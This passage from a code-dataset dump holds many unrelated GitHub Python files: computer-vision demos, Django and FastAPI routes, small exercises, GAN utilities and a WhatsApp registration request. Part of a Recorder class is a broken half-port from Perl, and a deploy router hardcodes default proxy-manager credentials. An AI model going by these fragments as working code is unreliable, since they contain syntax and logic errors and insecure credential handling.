cv2.imshow(\"Gray\", output)\n cv2.imshow(\"Live Feed\", frame)\n print((cv2.getTickCount() - c1) * 1000 / cv2.getTickFrequency(), \"ms\")\n if cv2.waitKey(1) == ord('q'):\n break\n print(((e3 - e1) / cv2.getTickFrequency()), \"s\")\n cv2.destroyAllWindows()\n cap.release()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"GroovyRice/computerVisionTrafficCounting","sub_path":"Main_Files/opencv_camera_link.py","file_name":"opencv_camera_link.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"25031005424","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.ProductListAPIView.as_view(), name='list_product'),\n path('create/', views.ProductCreateAPIView.as_view(), name='create_product'),\n path('', views.ProductRetrieveAPIView.as_view(), name='product_detail'),\n path('update/', views.ProductUpdateAPIView.as_view(), name='update_product'),\n path('del/', views.ProductDestroyAPIView.as_view(), name='delete-product'),\n\n]","repo_name":"BenAwad95/django-rest-api-test","sub_path":"backend/product/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29504090851","text":"matrix = [[1, 2, 3], [4, 5, 6], [7, 8, 9],[4, 10, 15], [3,5,1]]\n\nmaxRow = sum(matrix[0])\nindexMaxRow = 0\n\nfor row in range(1, len(matrix)):\n if sum(matrix[row]) > maxRow:\n maxRow = sum(matrix[row])\n indexMaxRow = row\nprint('The row', indexMaxRow, 'has the maximum sum of', maxRow)\n","repo_name":"krisso-hub/python-code","sub_path":"rowMaxSumMatrix.py","file_name":"rowMaxSumMatrix.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12324459557","text":"from yowsup.common.http.warequest import WARequest\nfrom yowsup.common.http.waresponseparser import JSONResponseParser\nfrom yowsup.env import YowsupEnv\n\n\nclass WAExistsRequest(WARequest):\n\n def __init__(self, config):\n \"\"\"\n :param config:\n :type config: yowsup.config.v1.config.Config\n \"\"\"\n super(WAExistsRequest,self).__init__(config)\n if config.id is None:\n raise ValueError(\"Config does not contain id\")\n\n self.url = \"v.whatsapp.net/v2/exist\"\n\n self.pvars = [\"status\", \"reason\", \"sms_length\", \"voice_length\", \"result\",\"param\", \"login\", \"type\",\n \"chat_dns_domain\", \"edge_routing_info\"\n ]\n\n self.setParser(JSONResponseParser())\n self.addParam(\"token\", YowsupEnv.getCurrent().getToken(self._p_in))\n","repo_name":"tgalal/yowsup","sub_path":"yowsup/registration/existsrequest.py","file_name":"existsrequest.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","stars":6953,"dataset":"github-code","pt":"52"} +{"seq_id":"3344531998","text":"import torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom PIL import Image\nfrom typing import List\n\ndef Anomaly_score(x, fake_img, D, Lambda=0.1):\n residual_loss = torch.abs(x - fake_img)\n residual_loss = residual_loss.view(residual_loss.size()[0], -1)\n residual_loss = torch.sum(residual_loss, dim=1)\n\n _, x_feature = D(x)\n _, G_feature = D(fake_img)\n\n discrimination_loss = torch.abs(x_feature - G_feature)\n discrimination_loss = discrimination_loss.view(\n discrimination_loss.size()[0], -1\n )\n discrimination_loss = torch.sum(discrimination_loss, dim=1)\n\n loss = (1 - Lambda) * residual_loss + Lambda * discrimination_loss\n total_loss = torch.sum(loss)\n return total_loss, loss, residual_loss\n\ndef make_datapath_list() -> List:\n train_img_list = []\n for img_idx in range(200):\n img_path = \"./data/img_78/img_7_\" + str(img_idx)+'.jpg'\n train_img_list.append(img_path)\n img_path = \"./data/img_78/img_8_\" + str(img_idx)+'.jpg'\n train_img_list.append(img_path)\n return train_img_list\n\ndef make_test_datapath_list() -> List:\n train_img_list = []\n for img_idx in range(5):\n img_path = './data/test/img_7_' + str(img_idx) + '.jpg'\n train_img_list.append(img_path)\n img_path = './data/test/img_8_' + str(img_idx) + '.jpg'\n train_img_list.append(img_path) \n img_path = './data/test/img_2_' + str(img_idx) + '.jpg'\n train_img_list.append(img_path)\n return train_img_list\n\nclass GAN_Img_Dataset(Dataset):\n def __init__(self, file_list, mean, std):\n self.file_list = file_list\n self.transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean, std)\n ])\n\n def __len__(self):\n return len(self.file_list)\n\n def __getitem__(self, index):\n img_path = self.file_list[index]\n img = Image.open(img_path) \n img_transformed = self.transform(img)\n return img_transformed \n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n nn.init.normal_(m.weight.data, 0.0, 0.02)\n nn.init.constant_(m.bias.data, 0)\n elif classname.find('BatchNorm') != -1:\n nn.init.normal_(m.weight.data, 1.0, 0.02)\n nn.init.constant_(m.bias.data, 0) ","repo_name":"minsoo9506/pytorch-study","sub_path":"anomaly_detection_GAN/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35013350725","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport scipy.constants\r\nfrom scipy.optimize import curve_fit\r\nfrom scipy.interpolate import interp1d\r\n\r\n\r\nPD_res_data = pd.read_csv('E:\\Files\\Year4\\Year4.2\\OptoDevFab\\pyworkspace\\lab4\\PD_response.txt',\r\n sep='\\t', skiprows=0, header=None).to_numpy(dtype=float)\r\nluminance_data = pd.read_csv('E:\\Files\\Year4\\Year4.2\\OptoDevFab\\pyworkspace\\lab4\\Luminance.txt',\r\n sep='\\t', skiprows=0, header=None).to_numpy(dtype=float)\r\ngroup_num = 5\r\nspectrum_data = pd.read_csv('E:\\Files\\Year4\\Year4.2\\OptoDevFab\\pyworkspace\\lab4\\class2\\A%d-PL.txt' % (group_num),\r\n sep='\\t', skiprows=17, header=None).to_numpy(dtype=float)\r\nsweep_data = pd.read_csv('E:\\Files\\Year4\\Year4.2\\OptoDevFab\\pyworkspace\\lab4\\class2\\A%d-1_1.txt'%(group_num),\r\n sep='\\t', skiprows=1, header=None).to_numpy(dtype=float)\r\nwavelength = spectrum_data[506:1521, 0]\r\nspectrum = spectrum_data[506:1521, 1]\r\nPD_res_func = interp1d(PD_res_data[:, 0], PD_res_data[:, 1])\r\nPD_res = PD_res_func(wavelength)\r\nluminance_func = interp1d(luminance_data[:, 0], luminance_data[:, 2])\r\nluminance = luminance_func(wavelength)\r\nwavelength = wavelength * 1e-9\r\nabsorbsion=0.8\r\nA=4e-6\r\nint_lumi = np.trapz(spectrum, wavelength)\r\nspectrum_norm = spectrum / int_lumi\r\n# wavelength=wavelength*1e-9\r\nI_PD = sweep_data[:71, 2]\r\nx = I_PD / np.trapz(spectrum_norm * PD_res, wavelength)/absorbsion\r\nnum_photons = x * np.trapz(spectrum_norm / (scipy.constants.h * scipy.constants.c / wavelength), wavelength)\r\nI_input = sweep_data[:71, 1]\r\nJ=I_input/A/1e1\r\nnum_electron = I_input / scipy.constants.elementary_charge\r\nEQE = num_photons / num_electron * 100\r\nFlux=x*np.trapz(spectrum_norm*luminance,wavelength)\r\nlum_intensity=Flux/np.pi\r\nL=lum_intensity/(A)\r\nV=sweep_data[:71, 0]\r\nPower_eff=Flux/(I_input*V)\r\nCurrent_eff=lum_intensity/I_input\r\n# fig=plt.figure()\r\n# ax = fig.add_subplot(1,1,1)\r\n# ax.set_yscale('log')\r\n# plt.plot(V,L)\r\n# plt.show()","repo_name":"YuntianW/OpDevLab","sub_path":"pyworkspace/lab4/040902.py","file_name":"040902.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21001234705","text":"#!/usr/bin/python\n\n#\n# WaP to accept number from user and check if its a special number or not\n# Special number is a number in which sum of factorial of the digits is equal to the number.\n# Ex: 145\n# 1! + 4! + 5! = 145\n#\n\ndef fact(n):\n if n == 0:\n return 1\n return n * fact(n - 1)\n\ndef is_special(number):\n sum_of_fact_of_digits = 0\n original = number\n while number:\n digit = number % 10\n sum_of_fact_of_digits += fact(digit)\n number /= 10\n \n return sum_of_fact_of_digits == original\n\ndef main():\n number = input(\"Enter number to check if it is special number : \")\n isit = is_special(number)\n if isit:\n print(\"%d is special number\" % (number))\n else:\n print(\"%d is not a special number\" % (number))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"akshaynikam/hello-world","sub_path":"python/assignmets/special_number.py","file_name":"special_number.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"439808221","text":"'''\nCreated on 19.03.2014\n\n@author: hm\n'''\n\nimport re, os.path, subprocess\n\nMODE_NONE = 0\nMODE_RECORDING = 1\nMODE_REPLAYING = 2\n\nclass Recorder:\n '''\n recorder -- implements a recorder for regression tests\n and the infrastructure to replay this recording\n Allows the recording of a real session. This recording can be\n replayed in a regression test.\n '''\n\n\n def __init__(self, application, mode, fnRecorder = \"/tmp/std.recorder.txt\"):\n '''\n Constructor\n Initializes the session.\n @param application: a prefix for temporary files\n @param mode: 0: no recording/replaying 1: recording 2: replaying\n @param file: recorder storage file\n '''\n self._mode = mode\n self._fnRecorder = fnRecorder\n self._application = application\n self._outputStreamLines = []\n self._currentFileNo = 0\n self._currNoIds = {}\n if mode == MODE_REPLAYING:\n self.readRecordedInfo(self._fnRecorder)\n \n def storeArgs(self, args):\n '''\n Stores the program arguments into the recorder file.\n @param args: all names and values of the variables\n '''\n if self._mode == MODE_RECORDING:\n # find the values:\n defs = []\n defs.append(\"###recorder progArgs:\")\n name = True\n for item in args.keys:\n if name:\n defs.append(\"{:s}={:s}\".format())\n self.writeFile(\"\\n\".join(defs) + \"\\n\", \"\", self._fnRecorder);\n\n def writeFile(self, content, suffix, name, append, aDir):\n '''\n Writes a given content to a temporary file.\n @param content: content to write\n @param suffix: suffix of the generated filename\n @param name: \"\" or name of the file\n @param append: if true the content will be appended\n @param aDir: \"\" or the target directory\n @return filename\n '''\n fn = name\n if fn == \"\":\n if aDir == \"\":\n aDir = \"/tmp\"\n fn = \"{:s}/tmp.{:s}\".format(aDir, self._application)\n\n fp = open(fn, \"a\" if append else \"w\")\n if content != \"\":\n fp.write(content)\n fp.close()\n return fn\n \n def finish(self, args):\n '''\n Do the last things for the recorder.\n @param varargs ...\n is a string or a reference of an array of lines\n '''\n for key in args.keys():\n self.put(key, args[key])\n \n\n def storeBlock(self, header, lines):\n '''\n Stores the content of one stream\n @param header: identifies the block\n @param lines: line array\n '''\n matcher = re.search(r'readStream id: (\\w+): no: (\\d+) device: (.+)', header)\n if matcher != None:\n ident = matcher.group(1)\n no = matcher.group(2)\n dev = matcher.group(3)\n key = \"{:s}-{:s}:{:s}\".format(ident, no, dev)\n self._recorderStorage[key] = lines\n else:\n matcher = re.search(r'recorder (\\w+):', header)\n if matcher != None:\n key = matcher.group(1)\n self._recorderStorage[key] = lines\n else:\n matcher = re.search(r'FileExists id: (\\w+): mode: (\\S+) no: (\\d+) file: (\\S+) rc: (.)', header)\n if matcher != None:\n ident = matcher.group(1)\n mode = matcher.group(2)\n callNo = matcher.group(3)\n aFile = matcher.group(4)\n # val = matcher.group(5)\n key = \"{:s}-{:s}{:s}{:s:{:s}\".format(ident, callNo, mode, aFile)\n self._recorderStorage[key] = lines\n else:\n print(\"unknown header: \" + header)\n\n def readRecordedInfo(self, fn):\n '''\n Reads the file created by the recorder.\n @param fn: the file's name\n '''\n fp = open(fn, \"r\")\n rexpr = re.compile(r'^###(readStream|FileExists|recorder \\w+:)')\n lastHeader = None\n lines = []\n for line in fp:\n matcher = rexpr.match(line)\n if matcher != None:\n if lastHeader != None:\n self.storeBlock(lastHeader, lines)\n lines.clear()\n lastHeader = line\n else:\n lines.append(line)\n self.storeBlock(lastHeader, lines)\n fp.close()\n\n \n def firstOfLine(self, name, prefix = None):\n '''\n Gets the first line of a file\n @param name: the filename, e.g. /etc/siduction-version\n @param prefix: this string will be put in front of the result\n @return: \"\\t:\"\n '''\n rc = \"\"\n if os.path.exists(name):\n lines = self.readStream(\"firstOfLine\", name)\n if prefix == None:\n prefix = \"\"\n elif not prefix.isEmpty():\n prefix = \"\\t{:s}:\".format(prefix)\n rc = prefix + lines[0]\n return rc\n\n def put(self, name, content):\n '''\n Puts an entry of the recorder storage.\n @param name: name of the entry\n @param content: a string or a reference of an array of lines\n '''\n if type(name) == list:\n sep = \"\\n\" if content[0].endswith(\"\\n\") else \"\"\n content = sep.join(content)\n self.writeFile(\"###recorder $name:\\n\" . content, \"\", \n self._fnRecorder, True)\n \n def writeStream(self, ident, device, content):\n '''\n Writes to a stream.\n A stream can be a file or the input of an external command.\n For tests this can be a file.\n @param ident: identifies the caller\n @param device: a filename or a external command, \n e.g. \"|fdisk /dev/sdb\"\n @param content this content will be written\n '''\n \n if self._mode == MODE_RECORDING:\n header = \"### writeStream id: {:s} device: {:s}\\n\".format(ident, device)\n self.writeFile(header . content, \"\", self._fnRecorder)\n if self._mode != MODE_REPLAYING:\n if device.startswith(\"|\"):\n pass\n else:\n mode = \"a\" if device.startswith(\">>\") else \"w\"\n if mode == \"a\":\n device = device[2:]\n fp = open(device, mode)\n if type(content) == list:\n fp.writelines(content)\n else:\n fp.write(content)\n fp.close()\n else:\n self._outputStreamLines.append(\"== id: {:s} device: {:s}\",\n ident, device)\n if type(content) == list:\n self._outputStreamLines += content\n else:\n self._outputStreamLines.append(content)\n\n def execute(self, ident, cmd, important):\n '''\n Execute a command.\n @param ident: identifies the caller\n @param cmd: command to execute\n @param important: true: the logging will be prefixed\n @return the output of the command\n '''\n rc = self.readStream(ident, cmd + \" |\")\n return rc\n\n def nextCallNo(self, ident):\n '''Returns the next id specific call number.\n @return: a number to make an \"event\" unique\n '''\n if ident not in self._currNoIds:\n self._currNoIds[ident] = -1\n self._currNoIds[ident] += 1\n return self._currNoIds[ident]\n \n def fileExists(self, ident, mode, aFile):\n '''\n # Tests the existence of a file.\n # @param ident: id of the caller\n # @param mode: \"-e\", \"-d\", \"-f\" ...\n # @param aFile: file to test\n # @return: False: does not exist. \n # True: exists\n '''\n callNo = self.nextCallNo(ident)\n rc = False\n if self._mode == MODE_REPLAYING:\n key = \"{:s}-{:d}{:s}:{:s}\".format(ident, callNo)\n entry = self.getFromStorage(key)\n if entry == None:\n raise Exception(\"unknown storage key: \" + key)\n else:\n rc = entry != \"f\"\n else:\n if mode == \"-e\":\n rc = os.path.exists(aFile)\n elif mode == \"-d\":\n rc = os.path.isdir(aFile)\n elif mode == \"-f\":\n rc = os.path.isfile(aFile)\n elif mode == \"-l\":\n rc = os.path.islink(aFile)\n else:\n raise Exception(\"unknown mode: \" + mode)\n if mode == MODE_RECORDING:\n callNo = self.nextCallNo()\n content = \"###FileExists id: {:s}: mode: {:s} no: {:d} file: {:s} rc: {:s}\".format(\n ident, mode, callNo, \"T\" if rc else \"F\")\n self.writeFile(content, \"\", self._fnRecorder, True)\n \n return rc \n\n def getFromStorage(self, key): \n '''\n Gets an entry of the recorder storage.\n @param name: name of the entry\n @return: an array of lines\n '''\n if key not in self._storage:\n rc = None\n else:\n rc = self._storage[key]\n return rc\n\n def readStream(self, ident, device, input = None):\n '''\n Reads a stream into an array of lines.\n A stream can be a file or the output of an extern command.\n For tests this can be a file.\n @param ident: defines the stream to open\n @param device: a filename, a directory, an external command \n e.g. \"partprobe -s |\"\n \"gdisk -l /dev/$disk|\"\n @param input: only if device is an external command:\n a string or a list of strings used as\n input for stdin of the command\n @return: a list of lines:\n file: content\n dir: list of nodes\n ext.command: output of the command\n '''\n rc = \"\"\n callNo = self.nextCallNo(ident)\n if self._mode != MODE_REPLAYING:\n if os.path.isdir(device):\n rc = self.listdir(device)\n elif os.path.exists(device):\n fp = open(device, \"r\")\n rc = fp.readlines()\n fp.close()\n elif device.endswith(\"|\"):\n device = device[0:-1].strip()\n if input == None:\n rc = subprocess.check_output(device)\n else:\n raise Exception(\"not implemented: ext. cmd with input\")\n else:\n raise Exception(\"unknown device: \" + device)\n return rc\n'''\n if ($s_mode != $MODE_REPLAYING){\n # \n # call of an external program with input and output:\n } elsif ($device =~ /^$file\";\n system($cmd);\n open my $INP, \"<\", $file;\n @rc = <$INP>;\n close $INP;\n unlink $file;\n } elsif ($device =~ /[<]/){\n system($device);\n if ($device =~ /[>]\\s*(\\S+)/){\n my $file = $1;\n open my $INP, \"<\", $file;\n @rc = <$INP>;\n close $INP;\n } else {\n die \"no output file found: $device\";\n } \n } elsif (open my $INP, $device){\n @rc = <$INP>;\n close $INP;\n } else {\n print \"+++ $device: $!\";\n }\n } elsif (scalar keys %s_recorderStorage > 0){\n my $key = \"$id-$callNo:$device\";\n my $refArray = $s_recorderStorage{$key};\n if ($refArray){\n @rc = @$refArray;\n } else {\n my $msg = \"+++ stream content not found: $key\\nStored blocks:\\n\";\n foreach(keys %s_recorderStorage){\n $msg .= \"$_\\n\" if /^$id/;\n }\n die $msg;\n }\n } else {\n die \"not implemented: $id ($device)\";\n }\n @rc = split(/\\n/, $content) unless $content eq \"\";\n if ($s_mode == $MODE_RECORDING){\n my $sep = $rc[0] =~ /\\n/ ? \"\" : \"\\n\";\n $content = \"###readStream id: $id: no: $callNo device: $device\\n\";\n $content .= join($sep, @rc);\n $content .= \"\\n\" unless substr($content, -1) eq \"\\n\"; \n &WriteFile($content, \"\", $s_recorderFile, 1);\n }\n return @rc;\n} \n\n\nreturn 1;''' ","repo_name":"siduction-attic/sidu-base","sub_path":"scripts/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":12826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34093010091","text":"#!/usr/bin/python \n\n# coding=UTF-8 \nimport cv2 \nimport numpy as np \n\nESC = 27 # Escキー \nINTERVAL= 33 # インターバル \n\nwindowOrg = \"Original\" \nwindowDiff = \"Difference\" \nwindowInvertDiff = \"InvertDifference\" \nwindowMosaic = \"Mosaic\" \n\n\ncv2.namedWindow(windowOrg, cv2.WINDOW_NORMAL) \ncv2.namedWindow(windowDiff, cv2.WINDOW_NORMAL) \ncv2.namedWindow(windowInvertDiff, cv2.WINDOW_NORMAL) \ncv2.namedWindow(windowMosaic, cv2.WINDOW_NORMAL) \n\nsourceVideo = cv2.VideoCapture(0)\n\n# read the first frame\nhasNext, iFrame = sourceVideo.read()\nheight = iFrame.shape[0]\nwidth = iFrame.shape[1]\n# got integer result deviding values by \"//\"\niFrame = cv2.resize(iFrame, (width//2, height//2))\n\niFrame = cv2.flip(iFrame, 0)\n\n# read background frame\nbFrame = np.zeros_like(iFrame, np.float32) \n\n# image conversion\nwhile hasNext == True: \n\n # convert image to float \n fFrame = iFrame.astype(np.float32) \n\n #diff \n dFrame = cv2.absdiff(fFrame, bFrame) \n\n # convert to gray scale\n gray = cv2.cvtColor(dFrame.astype(np.uint8), cv2.COLOR_RGB2GRAY) \n\n # derive outline\n cannyFrame = cv2.Canny(gray, 50, 110) \n\n ret, thresh = cv2.threshold(gray, 127, 255, 0) \n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) \n\n i = 0 \n sv = 0 \n ix = 0 \n\n for cnt in contours: \n area = cv2.contourArea(cnt) \n if area > sv: \n sv = area \n ix = i \n i = i + 1 \n\n cx = 0 \n cy = 0 \n\n if ix > 0 and sv > 10 : \n M = cv2.moments(contours[ix]) \n if M['m00'] != 0 : \n cx = int(M['m10']/M['m00']) \n cy = int(M['m01']/M['m00']) \n # print('x:' + str(cx) + ' y:' + str(cy) + ' area:' + str(sv))\n\n # update background \n cv2.accumulateWeighted(fFrame, bFrame, 0.025) \n\n # invert color\n idFrame = cv2.bitwise_not(dFrame.astype(np.uint8))\n\n # convert to mosaic\n ratio=0.05\n imageSmall = cv2.resize(idFrame, None, fx=ratio, fy=ratio, interpolation=cv2.INTER_NEAREST)\n mFrame = cv2.resize(imageSmall, idFrame.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)\n\n # display frame\n cv2.imshow(windowOrg, iFrame) \n cv2.imshow(windowDiff, dFrame.astype(np.uint8)) \n cv2.imshow(windowInvertDiff, idFrame.astype(np.uint8)) \n cv2.imshow(windowMosaic, mFrame.astype(np.uint8)) \n\n # shutdown by escape key\n key = cv2.waitKey(INTERVAL) \n\n if key == ESC: \n break \n\n # read next frame\n hasNext, iFrame = sourceVideo.read() \n iFrame = cv2.resize(iFrame, (width//2, height//2))\n iFrame = cv2.flip(iFrame, 0)\n\n# finalize\ncv2.destroyAllWindows() \nsourceVideo.release() \n","repo_name":"tatoflam/cv2_test","sub_path":"cv2_10_diff_flipcolor_mosaic.py","file_name":"cv2_10_diff_flipcolor_mosaic.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16761542014","text":"a='11'\nb='1'\ni=len(a)-1\nj=len(b)-1\nstr1=''\ncarry=0\nwhile i>=0 or j>=0:\n sum=carry\n if i>=0:\n sum+=int(a[i])\n if j>=0:\n sum+=int(b[j])\n str1+=str(sum%2)\n carry=sum//2\n i-=1\n j-=1\nif carry!=0:\n str1+=str(carry)\nprint(str1[::-1])\n\n","repo_name":"jagdishwar/CP","sub_path":"addbinarystring.py","file_name":"addbinarystring.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32442520332","text":"#!/usr/bin/env python\n\nimport fnmatch\nfrom os import listdir\nimport numpy\nfrom scipy.optimize import minimize, basinhopping\n\n\n# Store z coordinates data\n\nzcor = []\nfor file in listdir('.'):\n if fnmatch.fnmatch(file, '3p??.dat'):\n with open(file, 'r') as r:\n for line in r:\n if not (line.startswith(\"#\")):\n col = line.split()\n zcor.append(float(col[2]))\n \n# Write z planes\n\ncz = 38.7; zplane = []; iter = 0;\nwhile (iter < range(len(zcor))):\n if (iter == 25):\n zplane.append(cz * (zcor[iter] + zcor[iter + 1]) / 2)\n break\n zplane.append(cz * (zcor[iter] + zcor[iter + 4]) / 2)\n zplane.append(cz * (zcor[iter + 1] + zcor[iter + 2] + zcor[iter + 3]) / 3)\n iter += 5\nzplane = zplane[3:(len(zplane)-3)]; xm = zplane[(len(zplane)/2)]\n\n# Store E data\n\neng = []\nfor file in listdir('.'):\n if fnmatch.fnmatch(file, 'l1.dat'):\n with open(file, 'r') as r:\n for line in r:\n if not (line.startswith(\"#\")):\n col = line.split()\n eng.append(float(col[0]))\n\n# Store E, lnum, Q(E,z)\n\nezq = []; ltot = 0;\nfor file in listdir('.'):\n if fnmatch.fnmatch(file, 'l?.dat'):\n ltot += 1\n with open(file, 'r') as r:\n for line in r:\n if not (line.startswith(\"#\")):\n col = line.split()\n ezq.append([float(col[0]), int(file[1]), float(col[1])])\n\n# Loops over E in array to print z, Q(z)\n\ndef func_ch(x, *p): # Fitting function: Cosh\n a, dl, dr = p\n return a * (numpy.exp((x - xm) / dr) + numpy.exp(-(x - xm) / dl))\n#def func_chgs(x, *p): # Fitting function: Cosh + Guassian\n# a, dl, dr, sd = p\n# return a * (numpy.exp((x - xm) / dr) + numpy.exp(-(x - xm) / dl) + numpy.exp((-(x - xm)**2.0) / sd))\n\ndef minbounds(**kwargs): # Bounds for Basin Hopping\n x = kwargs[\"x_new\"]\n tmin = bool(numpy.all(x >= 0.0))\n return tmin\n\n\ncurves = open('curves.dat', 'w')\nparams = open('params.dat', 'w')\nfor evalue in eng: # E\n#evalue = eng[0]\n#if (evalue == eng[0]):\n xvar = []; yvar = []\n for iter in range(1, ltot + 1): # z\n for j in range(len(ezq)): # rows\n if ((evalue == ezq[j][0]) and (iter == ezq[j][1])):\n xvar.append(zplane[iter - 1]); yvar.append(ezq[j][2])\n curves.write('{0} {1}\\n'.format(zplane[iter - 1],ezq[j][2]))\n curves.write('\\n\\n')\n\n xvar = numpy.asarray(xvar,dtype='int64'); yvar = numpy.asarray(yvar,dtype='int64')\n p0 = [0.1, 5.0, 5.0]; error = lambda p: numpy.mean((yvar - func_ch(xvar, *p))**2.0)\n# par = minimize(error, p0, bounds=[(0, None), (0, None), (0, None)], method=\"L-BFGS-B\").x\n par = basinhopping(error, p0, T=0.5, minimizer_kwargs={\"method\":\"L-BFGS-B\"}, niter=1000, accept_test=minbounds).x\n\n params.write('{0} {1} {2} {3}\\n'.format(evalue, par[0], par[1], par[2]))\n# params.write('{0} {1} {2} {3} {4}\\n'.format(evalue, par[0], par[1], par[2], par[3]))\n\ncurves.close(); params.close()\n","repo_name":"sdivilov/pystuff","sub_path":"findparams.py","file_name":"findparams.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28489756404","text":"from enum import Enum\nfrom pydantic import BaseModel\nfrom typing import Optional\nfrom datetime import date\n\n\n# this is \"data\" class for the type of events\nclass EventType(Enum):\n commercial = \"commercial\"\n service = \"service\"\n online_meeting = \"online_meeting\"\n other = \"other\"\n alls = None # all events\n\nclass EventCreate(BaseModel):\n name: str\n type: EventType\n description: str\n event_date: date\n\n\nclass Event(EventCreate):\n id: int\n checked: bool\n work: bool | None\n\n class Config:\n orm_mode = True\n\n\nclass EventEdit(BaseModel):\n name: str | None = None\n type: str | None = None\n description: str | None = None\n event_date: date | None = None\n checked: bool | None = None\n","repo_name":"JavierHerreraPadilla/test_inteia","sub_path":"app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38536091164","text":"#!/usr/bin/env python3\n\n\n'''\n79. Write a Python program to get the size of an object in bytes.\n'''\nimport sys\n\nobjects = 1134414, '2423489', 1244342.0, True\n\nfor x in objects:\n print(f'{x!r} size = {sys.getsizeof(x)} b')\n","repo_name":"Hoklifter/studies","sub_path":"Python/Basic I/079_obj_size.py","file_name":"079_obj_size.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"8943888051","text":"from datetime import datetime\nimport os\nfrom fastapi import APIRouter\nfrom fastapi.responses import JSONResponse\nimport multiprocessing\n\nfrom src.helpers.label_studio import LabelStudioAPI\nfrom src.helpers.docker_api import DockerAPI\nfrom src.helpers.proxy_manager import NginxProxyManagerAPI\nfrom src.helpers.cloudflared import CloudflaredAPI\nfrom src.utils import generate_random_string, health_check\nfrom src.database.provider import db\n\nfrom src.database.repositories.models import ModelRepository\nfrom src.database.services.models import ModelService\n\nfrom src.database.repositories.ml_backends import MLBackendRepository\nfrom src.database.services.ml_backends import MLBackendService\n\nfrom src.database.models.services import Service\nfrom src.database.repositories.services import ServiceRepository\nfrom src.database.services.services import ServiceService\n\n\nrouter = APIRouter()\ndocker_api = DockerAPI()\ncloudflaredAPI = CloudflaredAPI()\n\nproxy_api = NginxProxyManagerAPI(\n host=\"http://tsdocode.online\",\n port=80,\n user=\"admin@example.com\",\n password=\"changeme\"\n)\n\n\nmodel_repo = ModelRepository(db)\nmodel_service = ModelService(model_repo)\n\nmlbackend_repo = MLBackendRepository(db)\nmlbackend_service = MLBackendService(mlbackend_repo)\n\nservice_repo = ServiceRepository(db)\nservice_service = ServiceService(service_repo)\n\n\ndef bg_build_inference_endpoint(\n token: str, server: str, project_id: str, backend_id: str\n):\n api = LabelStudioAPI(url=server)\n api.set_token(token)\n user = api.get_user()['email']\n username = user.split(\"@\")[0]\n\n model = model_service.get_model_by_project_and_user(\n user_id=user,\n project_id=project_id\n )\n model_id = str(model.id)\n\n inference_id = f\"inference_{username}_{model_id}_{generate_random_string(4)}\"\n\n inference = Service(\n id=inference_id,\n model_id=model_id,\n user_id=user,\n created_at=datetime.now(),\n status=\"init 💤\"\n )\n\n print(\"Add inference endpoint\")\n inference = service_service.create_service(inference)\n\n # build docker image\n dockerfile = os.environ[\"INFERENCE_DOCKERFILE\"]\n\n process = multiprocessing.Process(\n target=docker_api.build_image, \n args=(inference_id, dockerfile),\n kwargs={\n \"context\": os.environ[\"INFERENCE_BUILD_CONTEXT\"]\n }\n )\n\n process.start()\n # Wait for the process to finish\n process.join()\n\n environment = {\n \"HOSTNAME\": \"http://studio:8000\",\n \"API_KEY\": token,\n \"MLFLOW_URI\": \"http://mlflow:5001\",\n \"YATAI_URI\": \"http://yatai:3000\",\n \"USER_ID\": user,\n \"PROJECT_ID\": project_id,\n \"VISION_SSL_API\": \"http://host.docker.internal:8001\",\n }\n\n process = multiprocessing.Process(\n target=docker_api.run_container,\n kwargs={\n \"image_name\": inference_id,\n \"port\": [],\n \"environment\": environment,\n \"volumnes\": [(os.environ[\"BENTOML_STORE\"], \"/home/user/bentoml\")]\n }\n )\n\n process.start()\n process.join()\n\n inference.status = \"created 💡\"\n inference = service_service.update_service(inference)\n\n username = user.split(\"@\")[0]\n\n domain_name = proxy_api.create_proxy_host(\n domain_name=inference_id,\n forward_host=inference_id,\n forward_port=3000\n )\n\n domain_name = f\"{inference_id}.tsdocode.online\"\n\n health = health_check(domain_name, health=\"/healthz\")\n\n if health:\n inference.url = domain_name\n inference.status = \"ready ✅\"\n service_service.update_service(inference)\n\n\n@router.post(\"/deploy\", response_description=\"Deploy latest model of project\")\nasync def register_ml_backend(\n token: str, server: str, project_id: 